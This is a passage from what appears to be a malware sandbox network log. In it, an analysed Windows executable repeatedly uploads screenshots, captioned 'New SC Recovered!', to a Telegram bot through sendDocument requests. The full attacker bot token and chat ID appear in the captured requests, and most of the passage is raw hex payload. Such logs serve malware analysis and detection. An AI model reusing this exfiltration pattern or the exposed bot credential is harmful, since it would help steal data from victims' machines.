(06OgcX/a\>(I=-`pJJ,(Q@>'..V/1q\:39u{<3+O$>(((t18[G\?ImyM c`:h(%mX:BlnN3ETb{uw}(j"X'm+zN
2024-05-17 23:38:58 UTC	50	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 62 31 66 65 30 64 35 32 31 37 63 34 2d 2d 0d 0a Data Ascii: -----------------------------8dcb1fe0d5217c4--
2024-05-17 23:38:58 UTC	25	IN	HTTP/1.1 100 Continue
2024-05-17 23:38:59 UTC	402	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 Date: Fri, 17 May 2024 23:38:59 GMT Content-Type: application/json Content-Length: 56 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection {"ok":false,"error_code":400,"description":"Logged out"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49750	149.154.167.220	443	6768	C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-17 23:39:05 UTC	262	OUT	POST /bot6937426667:AAH5h4aXvUjmlMFV8im9A9lKn7JS7MyNHLA/sendDocument HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------------8dcb801a5c9ddf4 Host: api.telegram.org Content-Length: 67000 Expect: 100-continue Connection: Keep-Alive
2024-05-17 23:39:05 UTC	1024	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 62 38 30 31 61 35 63 39 64 64 66 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 68 61 74 5f 69 64 22 0d 0a 0d 0a 31 31 36 35 31 32 38 34 38 32 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 62 38 30 31 61 35 63 39 64 64 66 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 61 70 74 69 6f 6e 22 0d 0a 0d 0a 4e 65 77 20 53 43 20 52 65 63 6f 76 65 72 65 64 21 0a 0a 54 69 6d 65 3a 20 30 38 2f 30 38 2f 32 30 32 34 20 32 33 3a 31 37 3a 31 39 0a 55 73 65 72 Data Ascii: -----------------------------8dcb801a5c9ddf4Content-Disposition: form-data; name="chat_id"1165128482-----------------------------8dcb801a5c9ddf4Content-Disposition: form-data; name="caption"New SC Recovered!Time: 08/08/2024 23:17:19User
2024-05-17 23:39:05 UTC	16355	OUT	Data Raw: f0 15 62 72 d1 0a 16 24 34 e1 25 f1 17 18 19 1a 26 27 28 29 2a 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 82 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e2 e3 e4 e5 e6 e7 e8 e9 ea f2 f3 f4 f5 f6 f7 f8 f9 fa ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 8e 8a 28 af a7 3e 38 28 a9 e2 b4 9a 44 12 60 2c 67 a3 31 c0 3f d4 d4 cb 6b 0a fd e6 69 0f b7 03 ff 00 af fa 56 52 ab 08 ee cd 61 46 72 d9 14 68 ad 55 b5 b6 91 39 8b 6f ba b1 cf eb 9a 86 4d 34 f5 86 55 6f 66 f9 4f f8 52 8d 78 3f 22 a5 87 9c 7c ca 14 54 b3 5b cd 07 fa d8 d9 41 e8 48 e0 fd 0d 45 5b 26 9e c6 2d 35 a3 0a 4a 5a 28 10 Data Ascii: br$4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?(>8(D`,g1?kiVRaFrhU9oM4UofORx?"\|T[AHE[&-5JZ(
2024-05-17 23:39:05 UTC	16355	OUT	Data Raw: 5a bd 8e fa f2 e1 21 b2 92 79 0e d4 52 39 c6 7b 8f 4a a1 7b aa 59 4f a5 5c a2 5c a3 3b 46 40 1c 82 78 f7 ae 50 4f 32 c2 d0 89 5b ca 6e a9 9e 0f e1 51 d5 c3 02 93 bb 63 a9 99 ca 4a d1 8e 96 0a 28 a2 bd 03 c9 0a 28 a2 80 12 ba 3f 0a 4f 0c 31 dd 79 b3 47 1e 4a e3 7b 01 9e be b5 ce 51 58 d7 a5 ed 61 cb 7b 1d 38 6a fe c2 a7 3d ae 7a 17 db ec ff 00 e7 f2 0f fb fa bf e3 49 f6 fb 2f f9 fc b7 ff 00 bf ab fe 35 e7 d4 57 17 f6 7f f7 bf 0f f8 27 a3 fd ad fd cf c7 fe 01 e8 3f 6f b2 ff 00 9f cb 7f fb fa bf e3 5c 7e bf 24 72 eb 13 bc 4e ae 87 6e 19 4e 41 f9 47 7a ce a2 b6 a1 84 f6 53 e6 e6 b9 cf 89 c7 fb 78 72 72 db e7 ff 00 00 28 a2 8a ed 3c e0 a2 8a 28 03 4b c3 9f f2 1d b6 ff 00 81 7f e8 26 bb aa f3 3a 4c 0f 4a e0 c4 61 25 56 7c c9 9e a6 17 1d 1a 14 f9 1a b9 e9 b4 57 Data Ascii: Z!yR9{J{YO\\;F@xPO2[nQcJ((?O1yGJ{QXa{8j=zI/5W'?o\~$rNnNAGzSxrr(<(K&:LJa%V\|W
2024-05-17 23:39:05 UTC	16355	OUT	Data Raw: 60 8d 0b 0d c7 79 1c 81 d7 d3 f2 ae 6a ee 4a ce 3e 87 b5 80 49 d3 d4 a8 de 1d b6 8b 56 d4 a1 96 59 7e c9 6b 6f e7 23 86 1b 9b 80 47 38 fa f6 ed 5a 9e 0c b8 16 de 1f 95 d9 e1 50 6e 88 cc d2 6c 1f 71 7b e0 f3 55 b5 0d 4e d1 fc 22 b2 24 d1 9b db 88 a2 b7 91 03 8d c0 21 3c 91 d7 9e 7f 31 53 78 44 ce 3c 39 2f 90 2e 4b 7d ac e7 ec fe 5e ec 6c 5f f9 e9 c6 3f 5a e4 a8 e5 2a 6f 9f ba 47 7c 52 53 f7 4d ef ed 68 ff 00 e7 be 9f ff 00 81 9f fd 8d 62 78 b3 fe 42 b1 ff 00 d7 05 ff 00 d0 9a b4 b7 6a 5f dc d6 3f f2 4e b3 7c 59 ff 00 21 58 ff 00 eb 82 ff 00 e8 4d 59 61 d2 55 a3 6f 3f c8 cf 1b 7f ab 4e fe 5f 9a 31 28 a2 8a f6 4f 9a 0a 28 a2 80 0a 28 a2 81 85 14 51 40 05 14 51 40 09 45 2d 14 00 94 52 d1 40 09 45 14 50 01 45 14 50 01 45 14 50 01 45 14 50 01 45 14 50 02 51 4b Data Ascii: `yjJ>IVY~ko#G8ZPnlq{UN"$!<1SxD<9/.K}^l_?Z*oG\|RSMhbxBj_?N\|Y!XMYaUo?N_1(O((Q@Q@E-R@EPEPEPEPEPQK
2024-05-17 23:39:05 UTC	15447	OUT	Data Raw: 02 8a 28 a0 02 8a 28 a0 04 a2 8a 28 18 52 52 d2 50 01 45 14 50 30 a2 8a 28 01 28 a2 8a 00 28 a2 8a 06 14 86 97 b5 25 00 14 51 45 00 25 14 51 40 c2 92 96 92 80 0a 28 a2 80 12 8a 5a 4a 06 14 51 45 00 14 94 51 4c 61 45 14 50 02 51 46 69 33 40 c5 a4 a4 a2 80 b0 67 da 93 34 51 40 c2 92 96 92 80 0a 4a 5a 4a 06 14 51 45 03 0a 4a 28 a0 02 92 96 92 81 85 14 51 40 09 45 14 50 31 0d 14 51 40 05 25 2d 25 03 0a 4a 5a 4a 00 29 29 68 a0 a1 28 a2 92 80 42 d2 51 45 00 21 a2 8a 28 18 52 52 d2 50 30 a4 a2 8a 00 4a 29 69 28 18 52 52 d2 50 30 a4 a2 8a 00 29 29 68 a0 62 51 45 14 0c 29 28 a4 a0 05 a4 a2 8a 06 1c 51 49 45 00 14 51 45 03 12 8a 28 a0 62 51 45 14 00 51 45 25 31 87 f3 a2 8f ca 83 48 62 1e 39 a2 8a 29 80 9f 8d 1c 51 45 03 0a 4e 29 69 38 a4 01 ef 47 d2 8a 29 80 94 be Data Ascii: (((RRPEP0(((%QE%Q@(ZJQEQLaEPQFi3@g4Q@JZJQEJ(Q@EP1Q@%-%JZJ))h(BQE!(RRP0J)i(RRP0))hbQE)(QIEQE(bQEQE%1Hb9)QEN)i8G)
2024-05-17 23:39:05 UTC	1414	OUT	Data Raw: 00 10 f4 a0 0f 9f 68 a2 8a d4 c0 db d3 3c 49 3d 9d 8f d8 2e 6d 60 bf b3 ce e5 86 e1 72 14 fa 83 db f0 a3 53 f1 24 f7 96 3f 60 b6 b5 82 c2 cf 3b 9a 1b 75 c0 63 ea 4f 7f c6 b1 29 28 b0 5c 28 a2 8a 60 14 51 45 00 6b dc f8 9f 5c b8 ba 96 7f ed 5b c8 bc c7 2f e5 c5 70 ea 8b 93 9c 28 cf 00 76 a8 e5 d7 2f a7 9e 19 ee 24 f3 e6 8a da 4b 6f 32 52 cc cc ae 1c 12 49 3c 90 24 38 fa 0a cc a2 90 5c 28 a2 8a 00 28 a2 8a 60 75 d3 78 c6 2b 98 e2 49 6d 1e 3f 2d 70 0a b0 6c ff 00 2c 74 a9 26 f1 b4 33 c5 e5 36 9a 62 07 ab ac 81 8f e5 81 fc eb 8d a2 b2 54 a0 94 12 5f 0e ab 7e f7 1b 93 6e 4f f9 b7 3a 2d 63 c4 ab a8 e9 0b a7 25 b3 2a ab 86 f3 19 b9 38 cf 6c 7b fa d7 3b 45 15 51 8a 8d ed d5 dc 1b 6e c9 f4 0a 28 a2 a8 46 f6 95 ab 20 89 60 9d b6 32 f0 ad ea 2b ae d3 75 3b bb 86 da Data Ascii: h<I=.m`rS$?`;ucO)(\(`QEk\[/p(v/$Ko2RI<$8\((`ux+Im?-pl,t&36bT_~nO:-c%*8l{;EQn(F `2+u;
2024-05-17 23:39:05 UTC	50	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 62 38 30 31 61 35 63 39 64 64 66 34 2d 2d 0d 0a Data Ascii: -----------------------------8dcb801a5c9ddf4--
2024-05-17 23:39:06 UTC	25	IN	HTTP/1.1 100 Continue
2024-05-17 23:39:06 UTC	402	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 Date: Fri, 17 May 2024 23:39:06 GMT Content-Type: application/json Content-Length: 56 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection {"ok":false,"error_code":400,"description":"Logged out"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49751	149.154.167.220	443	6768	C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-17 23:39:23 UTC	238	OUT	POST /bot6937426667:AAH5h4aXvUjmlMFV8im9A9lKn7JS7MyNHLA/sendDocument HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------------8dcbf5819b9d90c Host: api.telegram.org Content-Length: 67000 Expect: 100-continue
2024-05-17 23:39:23 UTC	1024	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 62 66 35 38 31 39 62 39 64 39 30 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 68 61 74 5f 69 64 22 0d 0a 0d 0a 31 31 36 35 31 32 38 34 38 32 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 62 66 35 38 31 39 62 39 64 39 30 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 61 70 74 69 6f 6e 22 0d 0a 0d 0a 4e 65 77 20 53 43 20 52 65 63 6f 76 65 72 65 64 21 0a 0a 54 69 6d 65 3a 20 30 38 2f 31 38 2f 32 30 32 34 20 30 37 3a 32 33 3a 34 32 0a 55 73 65 72 Data Ascii: -----------------------------8dcbf5819b9d90cContent-Disposition: form-data; name="chat_id"1165128482-----------------------------8dcbf5819b9d90cContent-Disposition: form-data; name="caption"New SC Recovered!Time: 08/18/2024 07:23:42User
2024-05-17 23:39:23 UTC	16355	OUT	Data Raw: f0 15 62 72 d1 0a 16 24 34 e1 25 f1 17 18 19 1a 26 27 28 29 2a 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 82 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e2 e3 e4 e5 e6 e7 e8 e9 ea f2 f3 f4 f5 f6 f7 f8 f9 fa ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 8e 8a 28 af a7 3e 38 28 a9 e2 b4 9a 44 12 60 2c 67 a3 31 c0 3f d4 d4 cb 6b 0a fd e6 69 0f b7 03 ff 00 af fa 56 52 ab 08 ee cd 61 46 72 d9 14 68 ad 55 b5 b6 91 39 8b 6f ba b1 cf eb 9a 86 4d 34 f5 86 55 6f 66 f9 4f f8 52 8d 78 3f 22 a5 87 9c 7c ca 14 54 b3 5b cd 07 fa d8 d9 41 e8 48 e0 fd 0d 45 5b 26 9e c6 2d 35 a3 0a 4a 5a 28 10 Data Ascii: br$4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?(>8(D`,g1?kiVRaFrhU9oM4UofORx?"\|T[AHE[&-5JZ(
2024-05-17 23:39:23 UTC	16355	OUT	Data Raw: 5a bd 8e fa f2 e1 21 b2 92 79 0e d4 52 39 c6 7b 8f 4a a1 7b aa 59 4f a5 5c a2 5c a3 3b 46 40 1c 82 78 f7 ae 50 4f 32 c2 d0 89 5b ca 6e a9 9e 0f e1 51 d5 c3 02 93 bb 63 a9 99 ca 4a d1 8e 96 0a 28 a2 bd 03 c9 0a 28 a2 80 12 ba 3f 0a 4f 0c 31 dd 79 b3 47 1e 4a e3 7b 01 9e be b5 ce 51 58 d7 a5 ed 61 cb 7b 1d 38 6a fe c2 a7 3d ae 7a 17 db ec ff 00 e7 f2 0f fb fa bf e3 49 f6 fb 2f f9 fc b7 ff 00 bf ab fe 35 e7 d4 57 17 f6 7f f7 bf 0f f8 27 a3 fd ad fd cf c7 fe 01 e8 3f 6f b2 ff 00 9f cb 7f fb fa bf e3 5c 7e bf 24 72 eb 13 bc 4e ae 87 6e 19 4e 41 f9 47 7a ce a2 b6 a1 84 f6 53 e6 e6 b9 cf 89 c7 fb 78 72 72 db e7 ff 00 00 28 a2 8a ed 3c e0 a2 8a 28 03 4b c3 9f f2 1d b6 ff 00 81 7f e8 26 bb aa f3 3a 4c 0f 4a e0 c4 61 25 56 7c c9 9e a6 17 1d 1a 14 f9 1a b9 e9 b4 57 Data Ascii: Z!yR9{J{YO\\;F@xPO2[nQcJ((?O1yGJ{QXa{8j=zI/5W'?o\~$rNnNAGzSxrr(<(K&:LJa%V\|W
2024-05-17 23:39:23 UTC	16355	OUT	Data Raw: 60 8d 0b 0d c7 79 1c 81 d7 d3 f2 ae 6a ee 4a ce 3e 87 b5 80 49 d3 d4 a8 de 1d b6 8b 56 d4 a1 96 59 7e c9 6b 6f e7 23 86 1b 9b 80 47 38 fa f6 ed 5a 9e 0c b8 16 de 1f 95 d9 e1 50 6e 88 cc d2 6c 1f 71 7b e0 f3 55 b5 0d 4e d1 fc 22 b2 24 d1 9b db 88 a2 b7 91 03 8d c0 21 3c 91 d7 9e 7f 31 53 78 44 ce 3c 39 2f 90 2e 4b 7d ac e7 ec fe 5e ec 6c 5f f9 e9 c6 3f 5a e4 a8 e5 2a 6f 9f ba 47 7c 52 53 f7 4d ef ed 68 ff 00 e7 be 9f ff 00 81 9f fd 8d 62 78 b3 fe 42 b1 ff 00 d7 05 ff 00 d0 9a b4 b7 6a 5f dc d6 3f f2 4e b3 7c 59 ff 00 21 58 ff 00 eb 82 ff 00 e8 4d 59 61 d2 55 a3 6f 3f c8 cf 1b 7f ab 4e fe 5f 9a 31 28 a2 8a f6 4f 9a 0a 28 a2 80 0a 28 a2 81 85 14 51 40 05 14 51 40 09 45 2d 14 00 94 52 d1 40 09 45 14 50 01 45 14 50 01 45 14 50 01 45 14 50 01 45 14 50 02 51 4b Data Ascii: `yjJ>IVY~ko#G8ZPnlq{UN"$!<1SxD<9/.K}^l_?Z*oG\|RSMhbxBj_?N\|Y!XMYaUo?N_1(O((Q@Q@E-R@EPEPEPEPEPQK
2024-05-17 23:39:23 UTC	15447	OUT	Data Raw: 02 8a 28 a0 02 8a 28 a0 04 a2 8a 28 18 52 52 d2 50 01 45 14 50 30 a2 8a 28 01 28 a2 8a 00 28 a2 8a 06 14 86 97 b5 25 00 14 51 45 00 25 14 51 40 c2 92 96 92 80 0a 28 a2 80 12 8a 5a 4a 06 14 51 45 00 14 94 51 4c 61 45 14 50 02 51 46 69 33 40 c5 a4 a4 a2 80 b0 67 da 93 34 51 40 c2 92 96 92 80 0a 4a 5a 4a 06 14 51 45 03 0a 4a 28 a0 02 92 96 92 81 85 14 51 40 09 45 14 50 31 0d 14 51 40 05 25 2d 25 03 0a 4a 5a 4a 00 29 29 68 a0 a1 28 a2 92 80 42 d2 51 45 00 21 a2 8a 28 18 52 52 d2 50 30 a4 a2 8a 00 4a 29 69 28 18 52 52 d2 50 30 a4 a2 8a 00 29 29 68 a0 62 51 45 14 0c 29 28 a4 a0 05 a4 a2 8a 06 1c 51 49 45 00 14 51 45 03 12 8a 28 a0 62 51 45 14 00 51 45 25 31 87 f3 a2 8f ca 83 48 62 1e 39 a2 8a 29 80 9f 8d 1c 51 45 03 0a 4e 29 69 38 a4 01 ef 47 d2 8a 29 80 94 be Data Ascii: (((RRPEP0(((%QE%Q@(ZJQEQLaEPQFi3@g4Q@JZJQEJ(Q@EP1Q@%-%JZJ))h(BQE!(RRP0J)i(RRP0))hbQE)(QIEQE(bQEQE%1Hb9)QEN)i8G)
2024-05-17 23:39:23 UTC	1414	OUT	Data Raw: 00 10 f4 a0 0f 9f 68 a2 8a d4 c0 db d3 3c 49 3d 9d 8f d8 2e 6d 60 bf b3 ce e5 86 e1 72 14 fa 83 db f0 a3 53 f1 24 f7 96 3f 60 b6 b5 82 c2 cf 3b 9a 1b 75 c0 63 ea 4f 7f c6 b1 29 28 b0 5c 28 a2 8a 60 14 51 45 00 6b dc f8 9f 5c b8 ba 96 7f ed 5b c8 bc c7 2f e5 c5 70 ea 8b 93 9c 28 cf 00 76 a8 e5 d7 2f a7 9e 19 ee 24 f3 e6 8a da 4b 6f 32 52 cc cc ae 1c 12 49 3c 90 24 38 fa 0a cc a2 90 5c 28 a2 8a 00 28 a2 8a 60 75 d3 78 c6 2b 98 e2 49 6d 1e 3f 2d 70 0a b0 6c ff 00 2c 74 a9 26 f1 b4 33 c5 e5 36 9a 62 07 ab ac 81 8f e5 81 fc eb 8d a2 b2 54 a0 94 12 5f 0e ab 7e f7 1b 93 6e 4f f9 b7 3a 2d 63 c4 ab a8 e9 0b a7 25 b3 2a ab 86 f3 19 b9 38 cf 6c 7b fa d7 3b 45 15 51 8a 8d ed d5 dc 1b 6e c9 f4 0a 28 a2 a8 46 f6 95 ab 20 89 60 9d b6 32 f0 ad ea 2b ae d3 75 3b bb 86 da Data Ascii: h<I=.m`rS$?`;ucO)(\(`QEk\[/p(v/$Ko2RI<$8\((`ux+Im?-pl,t&36bT_~nO:-c%*8l{;EQn(F `2+u;
2024-05-17 23:39:23 UTC	50	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 62 66 35 38 31 39 62 39 64 39 30 63 2d 2d 0d 0a Data Ascii: -----------------------------8dcbf5819b9d90c--
2024-05-17 23:39:23 UTC	25	IN	HTTP/1.1 100 Continue
2024-05-17 23:39:24 UTC	402	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 Date: Fri, 17 May 2024 23:39:23 GMT Content-Type: application/json Content-Length: 56 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection {"ok":false,"error_code":400,"description":"Logged out"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49752	149.154.167.220	443	6768	C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-17 23:39:28 UTC	262	OUT	POST /bot6937426667:AAH5h4aXvUjmlMFV8im9A9lKn7JS7MyNHLA/sendDocument HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------------8dcc29e30c1ac2f Host: api.telegram.org Content-Length: 71967 Expect: 100-continue Connection: Keep-Alive
2024-05-17 23:39:29 UTC	1024	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 63 32 39 65 33 30 63 31 61 63 32 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 68 61 74 5f 69 64 22 0d 0a 0d 0a 31 31 36 35 31 32 38 34 38 32 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 63 32 39 65 33 30 63 31 61 63 32 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 61 70 74 69 6f 6e 22 0d 0a 0d 0a 4e 65 77 20 53 43 20 52 65 63 6f 76 65 72 65 64 21 0a 0a 54 69 6d 65 3a 20 30 38 2f 32 32 2f 32 30 32 34 20 31 31 3a 30 32 3a 35 37 0a 55 73 65 72 Data Ascii: -----------------------------8dcc29e30c1ac2fContent-Disposition: form-data; name="chat_id"1165128482-----------------------------8dcc29e30c1ac2fContent-Disposition: form-data; name="caption"New SC Recovered!Time: 08/22/2024 11:02:57User
2024-05-17 23:39:29 UTC	16355	OUT	Data Raw: f0 15 62 72 d1 0a 16 24 34 e1 25 f1 17 18 19 1a 26 27 28 29 2a 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 82 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e2 e3 e4 e5 e6 e7 e8 e9 ea f2 f3 f4 f5 f6 f7 f8 f9 fa ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 8e 8a 28 af a7 3e 38 28 a9 e2 b4 9a 44 12 60 2c 67 a3 31 c0 3f d4 d4 cb 6b 0a fd e6 69 0f b7 03 ff 00 af fa 56 52 ab 08 ee cd 61 46 72 d9 14 68 ad 55 b5 b6 91 39 8b 6f ba b1 cf eb 9a 86 4d 34 f5 86 55 6f 66 f9 4f f8 52 8d 78 3f 22 a5 87 9c 7c ca 14 54 b3 5b cd 07 fa d8 d9 41 e8 48 e0 fd 0d 45 5b 26 9e c6 2d 35 a3 0a 4a 5a 28 10 Data Ascii: br$4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?(>8(D`,g1?kiVRaFrhU9oM4UofORx?"\|T[AHE[&-5JZ(
2024-05-17 23:39:29 UTC	16355	OUT	Data Raw: 5a 43 cd 49 e2 15 a5 92 d1 a4 6b 4f b7 4a 0f d9 4a 63 cb 5f 24 4c 4f 98 1b cc df eb 85 fb bd a9 6d ee bc c6 d3 e4 5f b1 7f 67 96 83 cc 2e 63 f3 03 64 79 9b f3 f3 63 39 ff 00 67 18 a9 7c 98 f6 91 b0 60 d3 7e cb 07 fc f3 15 c0 b0 92 4e ea 47 a6 f1 d1 6a ce 3b 11 58 5f c9 30 59 36 69 e8 7e d6 45 c8 98 46 b8 80 01 b7 60 3d 7f 8b ee fc d9 c7 b5 36 d6 f1 45 85 94 99 b3 36 a9 05 c7 9c 24 64 33 a9 df 21 8d 40 27 70 3c 8f bb eb cf 18 a9 cd b4 07 19 8d 78 a4 fb 25 bf fc f2 5a 97 82 93 fb 46 ab 31 82 fb 03 e2 d4 20 82 0d 3a 46 96 d4 ba 5c db 37 9b ba 22 c5 4e 7c cc a0 5d cb b7 38 cb 12 72 32 31 4c b6 33 13 29 9c c4 64 2e 72 61 d9 b3 db 1b 3e 5f ca 8f b2 5b e7 3e 4a d4 a8 8a 83 0a 30 2b 6a 38 79 42 7c ed dc e7 c4 62 e3 56 9a a7 18 db 61 68 a2 8a eb 38 02 8a 28 a0 02 Data Ascii: ZCIkOJJc_$LOm_g.cdyc9g\|`~NGj;X_0Y6i~EF`=6E6$d3!@'p<x%ZF1 :F\7"N\|]8r21L3)d.ra>_[>J0+j8yB\|bVah8(
2024-05-17 23:39:29 UTC	16355	OUT	Data Raw: 72 55 1b b7 4b 7e a7 d0 d4 ce 65 c9 17 4d 2b f5 bf e8 74 cb aa d8 8e b3 ff 00 e3 ad fe 15 93 ac dc c5 75 76 8f 0b 6e 51 18 04 e0 8e 72 7d 6b 3e 8a ee c3 65 b4 b0 d3 f6 90 6e fe 76 ff 00 23 83 13 99 55 c4 c3 d9 cd 2b 79 5f fc c2 8a 28 af 48 f3 42 8a 28 a0 02 ba 4f 05 7f c8 36 eb fe be 9f f9 2d 73 75 36 9f a8 5f e9 6d 20 b3 68 9a 39 1b 79 49 41 20 1f 51 8a f3 f1 f4 e7 35 17 05 7b 1e e6 4f 5a 95 3f 69 0a 92 51 ba 56 be da 33 7f c4 ba 75 c6 a5 7d 65 14 11 21 1e 4c e0 cb 20 38 88 9d 98 60 40 fb dd 71 d3 a1 ac 3b bd 3a ed a0 bf 4b 6b 3b 91 37 99 74 66 93 cb 61 e7 21 27 60 1f df 39 c1 18 cf 4a b5 ff 00 09 36 b3 ff 00 3c ac 7f ef 97 ff 00 1a 3f e1 26 d6 7f e7 95 8f fd f2 ff 00 e3 5e 6f b1 ab fc 8c f6 3d ad 0f f9 fb 1f bc ea 34 cb 4f b1 58 a4 05 20 42 09 24 5b c6 Data Ascii: rUK~eM+tuvnQr}k>env#U+y_(HB(O6-su6_m h9yIA Q5{OZ?iQV3u}e!L 8`@q;:Kk;7tfa!'`9J6<?&^o=4OX B$[
2024-05-17 23:39:29 UTC	15447	OUT	Data Raw: 4a 28 ef ef 40 c2 92 8a 28 00 a4 a3 eb 45 03 0a 28 fc 69 28 18 51 45 14 0c 4a 28 c5 14 80 4f ca 8a 5a 4a 00 3f 3a 28 a2 81 85 25 2d 21 a0 0e ae 8a 28 a9 3c 13 5b c3 7f f2 10 93 fe b9 1f e6 2b a0 9c fe e5 bf 0f e7 5c ff 00 87 3f e3 fe 4f fa e4 7f 98 ad fb 83 fb 96 fc 3f 9d 7c ae 6d fc 77 e8 7d 76 51 fe ee bd 59 02 9a af ab 7f c8 2e 6f f8 0f fe 84 2a 64 35 0e aa 09 d3 26 00 67 a7 f3 15 e6 61 3f de 21 ea bf 33 bf 19 fe ef 53 d1 fe 47 33 45 14 57 de 9f 04 14 51 45 00 15 5e ff 00 fe 3c e4 fc 3f 98 ab 15 5f 50 ff 00 8f 29 3f 0f e6 2b 9f 15 fc 09 fa 3f c8 ef ca ff 00 df a8 7f 8e 3f 9a 3d 2a b2 3c 50 76 68 92 cb 95 cc 4c 8e 03 74 6f 98 71 5a 93 4b 1c 10 bc d2 b0 58 d0 16 66 3d 80 ae 5e f6 7b 8f 12 5f 25 85 bc 66 0b 78 08 96 57 90 6e e7 